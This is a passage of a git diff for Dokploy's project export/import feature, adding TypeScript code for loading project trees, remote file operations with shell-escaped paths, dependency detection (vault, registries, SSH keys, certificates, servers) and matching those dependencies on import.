(error) { + postApplyErrors.push({ + serviceId: newId, + serviceName: (service.name as string | undefined) ?? oldAppName, + error: safeErrorMessage(error), + }); + continue; + } + + if (!pendingServiceIds.has(oldId)) { + deployCandidates.push({ serviceId: newId, serviceType: kind, serverId }); + } + } + + await writeCertificateFiles(db, snapshot, plan, result, emit); + await writeFileMounts(db, snapshot, result, emit); + + return { deployCandidates, postApplyErrors }; +}; diff --git a/packages/server/src/services/project-export-import/queries.ts b/packages/server/src/services/project-export-import/queries.ts new file mode 100644 index 000000000..e5f758b19 --- /dev/null +++ b/packages/server/src/services/project-export-import/queries.ts @@ -0,0 +1,260 @@ +import type { db as RealDb } from "@dokploy/server/db"; +import type { + applications, + backups, + compose, + domains, + environments, + libsql, + mariadb, + mongo, + mounts, + mysql, + ports, + postgres, + projects, + redirects, + redis, + schedules, + security, + volumeBackups, +} from "@dokploy/server/db/schema"; +import type { InferSelectModel, Table } from "drizzle-orm"; +import type { CaptureSource } from "./types"; + +export type TransferDb = Pick; + +export type TransferWriteDb = Pick< + typeof RealDb, + "query" | "insert" | "update" | "transaction" +>; +export type TransferTx = Pick; + +type Mount = InferSelectModel; +type Backup = InferSelectModel; +type Schedule = InferSelectModel; +type VolumeBackup = InferSelectModel; + +export type ApplicationRow = InferSelectModel & { + domains: InferSelectModel[]; + mounts: Mount[]; + redirects: InferSelectModel[]; + security: InferSelectModel[]; + ports: InferSelectModel[]; + schedules: Schedule[]; + volumeBackups: VolumeBackup[]; +}; + +export type ComposeRow = InferSelectModel & { + domains: InferSelectModel[]; + mounts: Mount[]; + backups: Backup[]; + schedules: Schedule[]; + volumeBackups: VolumeBackup[]; +}; + +type DbServiceRow = InferSelectModel & { + mounts: Mount[]; + backups: Backup[]; + volumeBackups: VolumeBackup[]; +}; + +export type PostgresRow = DbServiceRow; +export type MysqlRow = DbServiceRow; +export type MariadbRow = DbServiceRow; +export type MongoRow = DbServiceRow; +export type LibsqlRow = DbServiceRow; + +export type RedisRow = InferSelectModel & { + mounts: Mount[]; + volumeBackups: VolumeBackup[]; +}; + +export type EnvironmentRow = InferSelectModel & { + applications: ApplicationRow[]; + compose: ComposeRow[]; + postgres: PostgresRow[]; + mysql: MysqlRow[]; + mariadb: MariadbRow[]; + mongo: MongoRow[]; + redis: RedisRow[]; + libsql: LibsqlRow[]; +}; + +export type ProjectTree = InferSelectModel & { + environments: EnvironmentRow[]; + projectTags?: { tag: { name: string; color: string | null } }[]; +}; + +const DB_SERVICE_WITH = { mounts: true, backups: true } as const; + +export const loadProjectTree = async ( + db: TransferDb, + source: CaptureSource, +): Promise => { + const project = await db.query.projects.findFirst({ + where: (fields, { eq }) => eq(fields.projectId, source.id), + with: { + projectTags: { with: { tag: true } }, + environments: { + with: { + compose: { + with: { + domains: true, + mounts: true, + backups: true, + schedules: true, + }, + }, + postgres: { with: DB_SERVICE_WITH }, + mysql: { with: DB_SERVICE_WITH }, + mariadb: { with: DB_SERVICE_WITH }, + mongo: { with: DB_SERVICE_WITH }, + libsql: { with: DB_SERVICE_WITH }, + redis: { with: { mounts: true } }, + }, + }, + }, + }); + + if (!project) { + return undefined; + } + + const tree = project as unknown as ProjectTree; + await attachApplications(db, tree); + await attachApplicationSchedules(db, tree); + await attachVolumeBackups(db, tree); + return tree; +}; + +const attachApplications = async (db: TransferDb, tree: ProjectTree) => { + const environmentIds = tree.environments.map((env) => env.environmentId); + if (environmentIds.length === 0) { + return; + } + const rows = await db.query.applications.findMany({ + where: (fields, { inArray }) => + inArray(fields.environmentId, environmentIds), + with: { + domains: true, + mounts: true, + redirects: true, + security: true, + ports: true, + }, + }); + const byEnvironmentId = groupBy(rows, (row) => row.environmentId); + for (const env of tree.environments) { + env.applications = (byEnvironmentId.get(env.environmentId) ?? + []) as unknown as ApplicationRow[]; + } +}; + +const attachApplicationSchedules = async ( + db: TransferDb, + tree: ProjectTree, +) => { + const applicationIds = tree.environments.flatMap((env) => + env.applications.map((app) => app.applicationId), + ); + if (applicationIds.length === 0) { + return; + } + const rows = await db.query.schedules.findMany({ + where: (fields, { inArray }) => + inArray(fields.applicationId, applicationIds), + }); + const byApplicationId = groupBy(rows, (row) => row.applicationId); + for (const env of tree.environments) { + for (const app of env.applications) { + app.schedules = byApplicationId.get(app.applicationId) ?? []; + } + } +}; + +type VolumeBackupOwner = { volumeBackups: VolumeBackup[] }; + +const volumeBackupOwnerGroups = ( + tree: ProjectTree, +): { + field: (typeof VOLUME_BACKUP_ID_FIELDS)[number]; + services: (VolumeBackupOwner & Record)[]; +}[] => [ + { + field: "applicationId", + services: tree.environments.flatMap((env) => env.applications), + }, + { + field: "composeId", + services: tree.environments.flatMap((env) => env.compose), + }, + { + field: "postgresId", + services: tree.environments.flatMap((env) => env.postgres), + }, + { field: "mysqlId", services: tree.environments.flatMap((env) => env.mysql) }, + { + field: "mariadbId", + services: tree.environments.flatMap((env) => env.mariadb), + }, + { field: "mongoId", services: tree.environments.flatMap((env) => env.mongo) }, + { field: "redisId", services: tree.environments.flatMap((env) => env.redis) }, + { + field: "libsqlId", + services: tree.environments.flatMap((env) => env.libsql), + }, +]; + +const VOLUME_BACKUP_ID_FIELDS = [ + "applicationId", + "postgresId", + "mysqlId", + "mariadbId", + "mongoId", + "redisId", + "libsqlId", + "composeId", +] as const; + +const attachVolumeBackups = async (db: TransferDb, tree: ProjectTree) => { + const groups = volumeBackupOwnerGroups(tree); + const activeGroups = groups.filter((group) => group.services.length > 0); + if (activeGroups.length === 0) { + return; + } + + const rows = await db.query.volumeBackups.findMany({ + where: (fields, { inArray, or }) => + or( + ...activeGroups.map((group) => + inArray( + fields[group.field], + group.services.map((service) => service[group.field] as string), + ), + ), + ), + }); + + for (const group of activeGroups) { + for (const service of group.services) { + service.volumeBackups = rows.filter( + (row) => row[group.field] === service[group.field], + ); + } + } +}; + +const groupBy = (items: T[], keyOf: (item: T) => K): Map => { + const map = new Map(); + for (const item of items) { + const key = keyOf(item); + const bucket = map.get(key); + if (bucket) { + bucket.push(item); + } else { + map.set(key, [item]); + } + } + return map; +}; diff --git a/packages/server/src/services/project-export-import/remote-fs.ts b/packages/server/src/services/project-export-import/remote-fs.ts new file mode 100644 index 000000000..8388e6b33 --- /dev/null +++ b/packages/server/src/services/project-export-import/remote-fs.ts @@ -0,0 +1,251 @@ +import { dirname, join } from "node:path"; +import type { Transform } from "node:stream"; +import { pipeline } from "node:stream/promises"; +import { paths } from "@dokploy/server/constants"; +import { + ExecError, + execAsync, + execAsyncRemote, +} from "@dokploy/server/utils/process/execAsync"; +import { + openProcessStream, + type ProcessStream, + pipeBetweenServers, +} from "@dokploy/server/utils/process/remoteStream"; + +export type Location = { serverId: string | null; path: string }; + +export const at = (base: Location, ...segments: string[]): Location => ({ + serverId: base.serverId, + path: join(base.path, ...segments), +}); + +export const transferRoot = ( + jobId: string, + serverId: string | null, + pathsFn: typeof paths = paths, +): Location => ({ + serverId, + path: join(pathsFn(serverId !== null).PROJECT_EXPORT_IMPORT_PATH, jobId), +}); + +export const prepareRoot = (root: Location): Promise => mkdirp(root); + +export const escapeShellArg = (value: string): string => + `'${value.replace(/'/g, "'\\''")}'`; + +export const run = ( + serverId: string | null, + command: string, +): Promise<{ stdout: string; stderr: string }> => + serverId + ? execAsyncRemote(serverId, command) + : execAsync(command, { shell: "/bin/bash" }); + +export const mkdirp = async (loc: Location): Promise => { + await run(loc.serverId, `mkdir -p ${escapeShellArg(loc.path)}`); +}; + +export const remove = async (loc: Location): Promise => { + await run(loc.serverId, `rm -rf ${escapeShellArg(loc.path)}`); +}; + +export const exists = async (loc: Location): Promise => { + const { stdout } = await run( + loc.serverId, + `test -e ${escapeShellArg(loc.path)} && echo yes || echo no`, + ); + return stdout.trim() === "yes"; +}; + +export const fileSize = async (loc: Location): Promise => { + const { stdout } = await run( + loc.serverId, + `wc -c < ${escapeShellArg(loc.path)}`, + ); + return Number.parseInt(stdout.trim(), 10) || 0; +}; + +export const readFile = async (loc: Location): Promise => { + const proc = await openProcessStream( + loc.serverId, + `cat ${escapeShellArg(loc.path)}`, + ); + const chunks: Buffer[] = []; + const errors: string[] = []; + proc.stdout.on("data", (chunk: Buffer) => chunks.push(chunk)); + proc.stderr.on("data", (chunk: Buffer) => errors.push(chunk.toString())); + proc.stdin.end(); + const code = await proc.exit; + if (code !== 0) { + throw new Error( + `Reading ${loc.path} failed with code ${code}: ${errors.join("").trim()}`, + ); + } + return Buffer.concat(chunks); +}; + +export const writeFile = async ( + loc: Location, + content: string | Buffer, +): Promise => { + const proc = await openProcessStream( + loc.serverId, + `mkdir -p ${escapeShellArg(dirname(loc.path))} && cat > ${escapeShellArg(loc.path)}`, + ); + const errors: string[] = []; + proc.stdout.resume(); + proc.stderr.on("data", (chunk: Buffer) => errors.push(chunk.toString())); + proc.stdin.on("error", () => {}); + proc.stdin.end(content); + const code = await proc.exit; + if (code !== 0) { + throw new Error( + `Writing ${loc.path} failed with code ${code}: ${errors.join("").trim()}`, + ); + } +}; + +const sameServer = (a: Location, b: Location) => a.serverId === b.serverId; + +export const runToFile = async ( + serverId: string | null, + command: string, + to: Location, +): Promise => { + try { + if (serverId === to.serverId) { + await run( + serverId, + `mkdir -p ${escapeShellArg(dirname(to.path))} && { ${command}; } > ${escapeShellArg(to.path)}`, + ); + return; + } + await pipeBetweenServers({ + source: { serverId, command }, + target: { + serverId: to.serverId, + command: `mkdir -p ${escapeShellArg(dirname(to.path))} && cat > ${escapeShellArg(to.path)}`, + }, + }); + } catch (error) { + await remove(to).catch(() => {}); + throw error; + } +}; + +export const copyFile = async (from: Location, to: Location): Promise => { + if (sameServer(from, to)) { + await run( + from.serverId, + `mkdir -p ${escapeShellArg(dirname(to.path))} && cp ${escapeShellArg(from.path)} ${escapeShellArg(to.path)}`, + ); + return; + } + await runToFile(from.serverId, `cat ${escapeShellArg(from.path)}`, to); +}; + +export const copyDir = async ( + from: Location, + to: Location, + opts: { exclude?: string[] } = {}, +): Promise => { + const excludeFlags = (opts.exclude ?? []) + .map((pattern) => `--exclude=${escapeShellArg(pattern)}`) + .join(" "); + const pack = `tar -czf - ${excludeFlags} -C ${escapeShellArg(from.path)} .`; + const unpack = `mkdir -p ${escapeShellArg(to.path)} && tar -xzf - -C ${escapeShellArg(to.path)}`; + if (sameServer(from, to)) { + await run( + from.serverId, + `mkdir -p ${escapeShellArg(to.path)} && ${pack} | tar -xzf - -C ${escapeShellArg(to.path)}`, + ); + return; + } + await pipeBetweenServers({ + source: { serverId: from.serverId, command: pack }, + target: { serverId: to.serverId, command: unpack }, + }); +}; + +export const pipeThrough = async ( + from: Location, + transform: Transform, + to: Location, +): Promise => { + const source = await openProcessStream( + from.serverId, + `cat ${escapeShellArg(from.path)}`, + ); + const target = await openProcessStream( + to.serverId, + `mkdir -p ${escapeShellArg(dirname(to.path))} && cat > ${escapeShellArg(to.path)}`, + ); + const errors: string[] = []; + source.stderr.on("data", (chunk: Buffer) => errors.push(chunk.toString())); + target.stderr.on("data", (chunk: Buffer) => errors.push(chunk.toString())); + target.stdout.resume(); + source.stdin.end(); + try { + await pipeline(source.stdout, transform, target.stdin); + const [sourceCode, targetCode] = await Promise.all([ + source.exit, + target.exit, + ]); + if (sourceCode !== 0 || targetCode !== 0) { + throw new Error( + `Transfer failed (exit ${sourceCode}/${targetCode}): ${errors.join("").trim()}`, + ); + } + } catch (error) { + source.close(); + target.close(); + await remove(to).catch(() => {}); + throw error; + } +}; + +export const streamProcessToResponse = ( + proc: ProcessStream, + res: NodeJS.WritableStream & { + on: (event: string, listener: (...args: unknown[]) => void) => unknown; + destroy: () => void; + writableFinished?: boolean; + }, +): Promise => { + proc.stdin.end(); + proc.stderr.resume(); + return new Promise((resolve, reject) => { + let finished = false; + proc.stdout.on("error", (error: Error) => { + res.destroy(); + reject(error); + }); + res.on("finish", () => { + finished = true; + resolve(); + }); + res.on("close", () => { + if (!finished) { + proc.close(); + reject(new Error("Connection closed before the download finished")); + } + }); + proc.stdout.pipe(res); + }).then(async () => { + if ((await proc.exit) !== 0) { + throw new Error("The bundle stream ended with an error"); + } + }); +}; + +export const safeErrorMessage = (error: unknown): string => { + if (error instanceof ExecError) { + const parts = [ + error.exitCode !== undefined ? `exit code ${error.exitCode}` : null, + error.stderr?.trim() || null, + ].filter(Boolean); + return parts.length > 0 ? parts.join(": ") : "Command failed"; + } + return error instanceof Error ? error.message : String(error); +}; diff --git a/packages/server/src/services/project-export-import/requirements.ts b/packages/server/src/services/project-export-import/requirements.ts new file mode 100644 index 000000000..4d397c17e --- /dev/null +++ b/packages/server/src/services/project-export-import/requirements.ts @@ -0,0 +1,508 @@ +import { createHash } from "node:crypto"; +import { VAULT_REF_REGEX } from "@dokploy/server/utils/vault"; +import type { ProjectTree, TransferDb } from "./queries"; +import { + buildUsedBy, + scopedServices, + type TaggedService, +} from "./service-kinds"; +import type { ExportScope, Requirement, ServiceType, UsedBy } from "./types"; + +export const detectRequirements = async ( + db: TransferDb, + tree: ProjectTree, + scope: ExportScope, +): Promise => { + const services = scopedServices(tree, scope); + + const [vault, destination, registry, network, certificate] = + await Promise.all([ + detectVaultRequirements(db, tree, services, scope), + detectDestinationRequirements(db, services, scope), + detectRegistryRequirements(db, services, scope), + detectNetworkRequirements(db, services, scope), + detectCertificateRequirements(db, services, scope), + ]); + + return [ + ...vault, + ...detectGitProviderRequirements(services), + ...destination, + ...registry, + ...detectSshKeyRequirements(services, scope), + ...network, + ...certificate, + ...detectServerRequirements(services), + ]; +}; + +const VAULT_TEXT_SOURCES: { + field: string; + pick: (service: Record) => string | null | undefined; +}[] = [ + { field: "env", pick: (s) => s.env as string | null }, + { field: "buildArgs", pick: (s) => s.buildArgs as string | null }, + { field: "buildSecrets", pick: (s) => s.buildSecrets as string | null }, + { field: "previewEnv", pick: (s) => s.previewEnv as string | null }, +]; + +const detectVaultRequirements = async ( + db: TransferDb, + tree: ProjectTree, + services: TaggedService[], + scope: ExportScope, +): Promise => { + const byProvider = new Map< + string, + { secretKeys: Set; usedBy: UsedBy[] } + >(); + + const record = (text: string | null | undefined, usedBy: UsedBy) => { + if (!text) { + return; + } + const keysByProvider = new Map>(); + for (const match of text.matchAll(VAULT_REF_REGEX)) { + const providerName = match[1] as string; + const secretKey = match[2] as string; + const set = keysByProvider.get(providerName) ?? new Set(); + set.add(secretKey); + keysByProvider.set(providerName, set); + } + for (const [providerName, keys] of keysByProvider) { + const entry = byProvider.get(providerName) ?? { + secretKeys: new Set(), + usedBy: [] as UsedBy[], + }; + for (const key of keys) { + entry.secretKeys.add(key); + } + entry.usedBy.push(usedBy); + byProvider.set(providerName, entry); + } + }; + + record(tree.env, { + serviceId: tree.projectId, + serviceType: "project", + serviceName: tree.name, + environmentId: "", + field: "env", + }); + for (const env of tree.environments) { + record(env.env, { + serviceId: env.environmentId, + serviceType: "environment", + serviceName: env.name, + environmentId: env.environmentId, + field: "env", + }); + } + for (const { serviceType, environmentId, service } of services) { + const serviceId = service[ + serviceType === "application" ? "applicationId" : `${serviceType}Id` + ] as string; + const sources = + serviceType === "application" + ? VAULT_TEXT_SOURCES + : VAULT_TEXT_SOURCES.slice(0, 1); + for (const source of sources) { + record( + source.pick(service), + buildUsedBy( + environmentId, + serviceType, + service, + serviceId, + source.field, + ), + ); + } + } + + if (byProvider.size === 0) { + return []; + } + + const providers = await db.query.vaultProvider.findMany({ + where: (fields, { eq }) => eq(fields.organizationId, tree.organizationId), + }); + const providerByName = new Map(providers.map((p) => [p.name, p])); + + const configIncluded = scope.shared.vaultProvider === "value"; + + const results: Requirement[] = []; + for (const [providerName, entry] of byProvider) { + const provider = providerByName.get(providerName); + if (!provider) { + continue; + } + results.push({ + kind: "vault", + originalId: provider.vaultProviderId, + providerName, + providerType: provider.providerType, + secretKeys: [...entry.secretKeys], + configIncluded, + usedBy: entry.usedBy, + }); + } + return results; +}; + +const GIT_PROVIDER_FIELDS = [ + { idField: "githubId", providerType: "github" as const }, + { idField: "gitlabId", providerType: "gitlab" as const }, + { idField: "giteaId", providerType: "gitea" as const }, + { idField: "bitbucketId", providerType: "bitbucket" as const }, +]; + +const detectGitProviderRequirements = ( + services: TaggedService[], +): Requirement[] => { + const byProviderId = new Map< + string, + { + providerType: "github" | "gitlab" | "gitea" | "bitbucket"; + repositories: Map; + usedBy: UsedBy[]; + } + >(); + + for (const { serviceType, environmentId, service } of services) { + if (serviceType !== "application" && serviceType !== "compose") { + continue; + } + for (const { idField, providerType } of GIT_PROVIDER_FIELDS) { + const providerId = service[idField] as string | null; + if (!providerId) { + continue; + } + const key = `${providerType}:${providerId}`; + const entry = byProviderId.get(key) ?? { + providerType, + repositories: new Map(), + usedBy: [] as UsedBy[], + }; + const owner = (service.owner as string | null) ?? ""; + const repo = (service.repository as string | null) ?? ""; + if (owner && repo) { + entry.repositories.set(`${owner}/${repo}`, { owner, repo }); + } + const serviceId = service[ + serviceType === "application" ? "applicationId" : "composeId" + ] as string; + entry.usedBy.push( + buildUsedBy(environmentId, serviceType, service, serviceId), + ); + byProviderId.set(key, entry); + } + } + + return [...byProviderId.entries()].map(([key, entry]) => ({ + kind: "gitProvider" as const, + originalId: key.split(":")[1] as string, + providerType: entry.providerType, + repositories: [...entry.repositories.values()], + configIncluded: false, + usedBy: entry.usedBy, + })); +}; + +const detectDestinationRequirements = async ( + db: TransferDb, + services: TaggedService[], + scope: ExportScope, +): Promise => { + const usedByPerId = new Map(); + + for (const { serviceType, environmentId, service } of services) { + const children = [ + ...((service.backups as Record[] | undefined) ?? []), + ...((service.volumeBackups as Record[] | undefined) ?? + []), + ]; + const serviceId = service[ + serviceType === "application" ? "applicationId" : `${serviceType}Id` + ] as string; + for (const child of children) { + const destinationId = child.destinationId as string | null; + if (!destinationId) { + continue; + } + const list = usedByPerId.get(destinationId) ?? []; + list.push(buildUsedBy(environmentId, serviceType, service, serviceId)); + usedByPerId.set(destinationId, list); + } + } + + if (usedByPerId.size === 0) { + return []; + } + + const ids = [...usedByPerId.keys()]; + const rows = await db.query.destinations.findMany({ + where: (fields, { inArray }) => inArray(fields.destinationId, ids), + }); + const configIncluded = scope.shared.destination === "value"; + + return rows.map((row) => ({ + kind: "destination" as const, + originalId: row.destinationId, + bucket: row.bucket, + endpoint: row.endpoint, + region: row.region, + configIncluded, + usedBy: usedByPerId.get(row.destinationId) ?? [], + })); +}; + +const REGISTRY_FIELDS = [ + { idField: "registryId", role: "registry" as const }, + { idField: "buildRegistryId", role: "buildRegistry" as const }, + { idField: "rollbackRegistryId", role: "rollbackRegistry" as const }, +]; + +const detectRegistryRequirements = async ( + db: TransferDb, + services: TaggedService[], + scope: ExportScope, +): Promise => { + const byRegistryId = new Map< + string, + { + roles: Set<"registry" | "buildRegistry" | "rollbackRegistry">; + usedBy: UsedBy[]; + } + >(); + + for (const { serviceType, environmentId, service } of services) { + if (serviceType !== "application") { + continue; + } + const serviceId = service.applicationId as string; + for (const { idField, role } of REGISTRY_FIELDS) { + const registryId = service[idField] as string | null; + if (!registryId) { + continue; + } + const entry = byRegistryId.get(registryId) ?? { + roles: new Set<"registry" | "buildRegistry" | "rollbackRegistry">(), + usedBy: [] as UsedBy[], + }; + entry.roles.add(role); + entry.usedBy.push( + buildUsedBy(environmentId, serviceType, service, serviceId, idField), + ); + byRegistryId.set(registryId, entry); + } + } + + if (byRegistryId.size === 0) { + return []; + } + + const ids = [...byRegistryId.keys()]; + const rows = await db.query.registry.findMany({ + where: (fields, { inArray }) => inArray(fields.registryId, ids), + }); + const configIncluded = scope.shared.registry === "value"; + + return rows.map((row) => { + const entry = byRegistryId.get(row.registryId); + return { + kind: "registry" as const, + originalId: row.registryId, + registryUrl: row.registryUrl, + imagePrefix: row.imagePrefix ?? "", + role: [...(entry?.roles ?? [])], + configIncluded, + usedBy: entry?.usedBy ?? [], + }; + }); +}; + +const detectSshKeyRequirements = ( + services: TaggedService[], + scope: ExportScope, +): Requirement[] => { + const bySshKeyId = new Map(); + + for (const { serviceType, environmentId, service } of services) { + if (serviceType !== "application" && serviceType !== "compose") { + continue; + } + const sshKeyId = service.customGitSSHKeyId as string | null; + if (!sshKeyId) { + continue; + } + const publicKey = + ((service.customGitSSHKey as Record | null)?.publicKey as + | string + | undefined) ?? ""; + const entry = bySshKeyId.get(sshKeyId) ?? { + publicKey, + usedBy: [] as UsedBy[], + }; + const serviceId = service[ + serviceType === "application" ? "applicationId" : "composeId" + ] as string; + entry.usedBy.push( + buildUsedBy(environmentId, serviceType, service, serviceId), + ); + bySshKeyId.set(sshKeyId, entry); + } + + const configIncluded = scope.shared.sshKey === "value"; + return [...bySshKeyId.entries()].map(([sshKeyId, entry]) => ({ + kind: "sshKey" as const, + originalId: sshKeyId, + publicKey: entry.publicKey, + configIncluded, + usedBy: entry.usedBy, + })); +}; + +const detectNetworkRequirements = async ( + db: TransferDb, + services: TaggedService[], + scope: ExportScope, +): Promise => { + const usedByPerId = new Map(); + + for (const { serviceType, environmentId, service } of services) { + const networkIds = (service.networkIds as string[] | null) ?? []; + const serviceId = service[ + serviceType === "application" ? "applicationId" : `${serviceType}Id` + ] as string; + for (const networkId of networkIds) { + const list = usedByPerId.get(networkId) ?? []; + list.push(buildUsedBy(environmentId, serviceType, service, serviceId)); + usedByPerId.set(networkId, list); + } + } + + if (usedByPerId.size === 0) { + return []; + } + + const ids = [...usedByPerId.keys()]; + const rows = await db.query.network.findMany({ + where: (fields, { inArray }) => inArray(fields.networkId, ids), + }); + const configIncluded = scope.shared.network === "value"; + + return rows.map((row) => ({ + kind: "network" as const, + originalId: row.networkId, + name: row.name, + configIncluded, + usedBy: usedByPerId.get(row.networkId) ?? [], + })); +}; + +const detectCertificateRequirements = async ( + db: TransferDb, + services: TaggedService[], + scope: ExportScope, +): Promise => { + const usedByPerResolver = new Map(); + + for (const { serviceType, environmentId, service } of services) { + const domains = + (service.domains as Record[] | undefined) ?? []; + const serviceId = service[ + serviceType === "application" ? "applicationId" : `${serviceType}Id` + ] as string; + for (const domain of domains) { + if (domain.certificateType !== "custom") { + continue; + } + const resolver = domain.customCertResolver as string | null; + if (!resolver) { + continue; + } + const list = usedByPerResolver.get(resolver) ?? []; + list.push( + buildUsedBy( + environmentId, + serviceType, + service, + serviceId, + `domain:${domain.domainId}`, + ), + ); + usedByPerResolver.set(resolver, list); + } + } + + if (usedByPerResolver.size === 0) { + return []; + } + + const resolvers = [...usedByPerResolver.keys()]; + const rows = await db.query.certificates.findMany({ + where: (fields, { inArray }) => inArray(fields.certificatePath, resolvers), + }); + const configIncluded = scope.shared.certificate === "value"; + + return rows.map((row) => ({ + kind: "certificate" as const, + originalId: row.certificateId, + fingerprint: createHash("sha256").update(row.certificateData).digest("hex"), + configIncluded, + usedBy: usedByPerResolver.get(row.certificatePath) ?? [], + serverId: row.serverId ?? null, + })); +}; + +const detectServerRequirements = (services: TaggedService[]): Requirement[] => { + const byServerId = new Map(); + + const record = ( + serverId: string | null, + environmentId: string, + serviceType: ServiceType, + service: Record, + serviceId: string, + field?: string, + ) => { + const key = serverId ?? ""; + const list = byServerId.get(key) ?? []; + list.push( + buildUsedBy(environmentId, serviceType, service, serviceId, field), + ); + byServerId.set(key, list); + }; + + for (const { serviceType, environmentId, service } of services) { + const serviceId = service[ + serviceType === "application" ? "applicationId" : `${serviceType}Id` + ] as string; + record( + (service.serverId as string | null) ?? null, + environmentId, + serviceType, + service, + serviceId, + "serverId", + ); + if (serviceType === "application" && service.buildServerId) { + record( + service.buildServerId as string, + environmentId, + serviceType, + service, + serviceId, + "buildServerId", + ); + } + } + + return [...byServerId.entries()].map(([serverId, usedBy]) => ({ + kind: "server" as const, + originalId: serverId === "" ? null : serverId, + configIncluded: false, + usedBy, + })); +}; diff --git a/packages/server/src/services/project-export-import/resolve.ts b/packages/server/src/services/project-export-import/resolve.ts new file mode 100644 index 000000000..64dd94000 --- /dev/null +++ b/packages/server/src/services/project-export-import/resolve.ts @@ -0,0 +1,245 @@ +import { createHash } from "node:crypto"; +import { IS_CLOUD } from "@dokploy/server/constants"; +import type { TransferDb } from "./queries"; +import type { ProposedResolution, Requirement, Snapshot } from "./types"; + +export const requirementKey = (requirement: Requirement): string => + `${requirement.kind}:${requirement.originalId ?? "null"}`; + +export const buildServiceServerMap = ( + snapshot: Snapshot, +): Map => { + const map = new Map(); + for (const requirement of snapshot.requirements) { + if (requirement.kind !== "server") continue; + for (const used of requirement.usedBy) { + if (used.field && used.field !== "serverId") continue; + map.set(used.serviceId, requirement.originalId); + } + } + return map; +}; + +export const buildServiceBuildServerMap = ( + snapshot: Snapshot, +): Map => { + const map = new Map(); + for (const requirement of snapshot.requirements) { + if (requirement.kind !== "server") continue; + for (const used of requirement.usedBy) { + if (used.field !== "buildServerId") continue; + map.set(used.serviceId, requirement.originalId); + } + } + return map; +}; + +export const LOCAL_SERVER_CANDIDATE_ID = "__local__"; + +export const buildServerIpMap = async ( + db: TransferDb, + serverMap: Record, + organizationId: string, +): Promise> => { + const serverIpMap: Record = {}; + for (const serverId of new Set(Object.values(serverMap))) { + if (!serverId) continue; + const server = await db.query.server.findFirst({ + where: (fields, { eq }) => eq(fields.serverId, serverId), + columns: { ipAddress: true, organizationId: true }, + }); + if (server?.ipAddress && server.organizationId === organizationId) { + serverIpMap[serverId] = server.ipAddress; + } + } + const settings = await db.query.webServerSettings.findFirst({ + orderBy: (fields, { asc }) => [asc(fields.createdAt)], + }); + if (settings?.serverIp) serverIpMap.local = settings.serverIp; + return serverIpMap; +}; + +type Candidate = { id: string; name: string }; + +const resolveWithCandidates = ( + match: Candidate | undefined, + candidates: Candidate[], + configIncluded: boolean, +): ProposedResolution => { + if (match) { + return { status: "resolved", targetId: match.id }; + } + if (configIncluded) { + return { status: "createable", candidates }; + } + return candidates.length > 0 + ? { status: "mappable", candidates } + : { status: "missing" }; +}; + +type Requirements = { + [K in Requirement["kind"]]: Extract; +}; + +type SimpleResolver = { + query: keyof TransferDb["query"]; + id: (row: any) => string; + name: (row: any) => string; + matches: (row: any, requirement: any) => boolean; +}; + +const SIMPLE_RESOLVERS: Record< + "vault" | "destination" | "registry" | "sshKey" | "network" | "certificate", + SimpleResolver +> = { + vault: { + query: "vaultProvider", + id: (row) => row.vaultProviderId, + name: (row) => row.name, + matches: (row, requirement: Requirements["vault"]) => + row.name === requirement.providerName && + row.providerType === requirement.providerType, + }, + destination: { + query: "destinations", + id: (row) => row.destinationId, + name: (row) => row.name, + matches: (row, requirement: Requirements["destination"]) => + row.bucket === requirement.bucket && + row.endpoint === requirement.endpoint && + row.region === requirement.region, + }, + registry: { + query: "registry", + id: (row) => row.registryId, + name: (row) => row.registryName, + matches: (row, requirement: Requirements["registry"]) => + row.registryUrl === requirement.registryUrl && + (row.imagePrefix ?? "") === requirement.imagePrefix, + }, + sshKey: { + query: "sshKeys", + id: (row) => row.sshKeyId, + name: (row) => row.name, + matches: (row, requirement: Requirements["sshKey"]) => + row.publicKey === requirement.publicKey, + }, + network: { + query: "network", + id: (row) => row.networkId, + name: (row) => row.name, + matches: (row, requirement: Requirements["network"]) => + row.name === requirement.name, + }, + certificate: { + query: "certificates", + id: (row) => row.certificateId, + name: (row) => row.name, + matches: (row, requirement: Requirements["certificate"]) => + createHash("sha256").update(row.certificateData).digest("hex") === + requirement.fingerprint, + }, +}; + +const resolveSimple = async ( + db: TransferDb, + requirement: Extract, + organizationId: string, +): Promise => { + const resolver = SIMPLE_RESOLVERS[requirement.kind]; + const rows = await ( + db.query[resolver.query] as { + findMany: (args: unknown) => Promise[]>; + } + ).findMany({ + where: ( + fields: Record, + { eq }: { eq: (a: unknown, b: unknown) => unknown }, + ) => eq(fields.organizationId, organizationId), + }); + const candidates = rows.map((row) => ({ + id: resolver.id(row), + name: resolver.name(row), + })); + const match = rows.find((row) => resolver.matches(row, requirement)); + return resolveWithCandidates( + match && { id: resolver.id(match), name: resolver.name(match) }, + candidates, + requirement.configIncluded, + ); +}; + +const resolveGitProvider = async ( + db: TransferDb, + requirement: Extract, + organizationId: string, +): Promise => { + const rows = await db.query.gitProvider.findMany({ + where: (fields, { and, eq }) => + and( + eq(fields.organizationId, organizationId), + eq(fields.providerType, requirement.providerType), + ), + }); + const candidates = rows.map((row) => ({ + id: row.gitProviderId, + name: row.name, + })); + return candidates.length > 0 + ? { status: "mappable", candidates } + : { status: "missing" }; +}; + +const resolveServer = async ( + db: TransferDb, + organizationId: string, +): Promise => { + const rows = await db.query.server.findMany({ + where: (fields, { eq }) => eq(fields.organizationId, organizationId), + }); + const candidates: Candidate[] = rows.map((row) => ({ + id: row.serverId, + name: row.name, + })); + if (!IS_CLOUD) { + candidates.unshift({ id: LOCAL_SERVER_CANDIDATE_ID, name: "Local server" }); + } + return { status: "mappable", candidates }; +}; + +const proposeForRequirement = ( + db: TransferDb, + requirement: Requirement, + organizationId: string, +): Promise => { + switch (requirement.kind) { + case "vault": + case "destination": + case "registry": + case "sshKey": + case "network": + case "certificate": + return resolveSimple(db, requirement, organizationId); + case "gitProvider": + return resolveGitProvider(db, requirement, organizationId); + case "server": + return resolveServer(db, organizationId); + } +}; + +export const proposeResolutions = async ( + db: TransferDb, + snapshot: Snapshot, + organizationId: string, +): Promise> => { + const entries = await Promise.all( + snapshot.requirements.map( + async (requirement) => + [ + requirementKey(requirement), + await proposeForRequirement(db, requirement, organizationId), + ] as const, + ), + ); + return Object.fromEntries(entries); +}; diff --git a/packages/server/src/services/project-export-import/restore.ts b/packages/server/src/services/project-export-import/restore.ts new file mode 100644 index 000000000..93d4c34e9 --- /dev/null +++ b/packages/server/src/services/project-export-import/restore.ts @@ -0,0 +1,312 @@ +import type { Destination } from "@dokploy/server/services/destination"; +import { deployLibsql } from 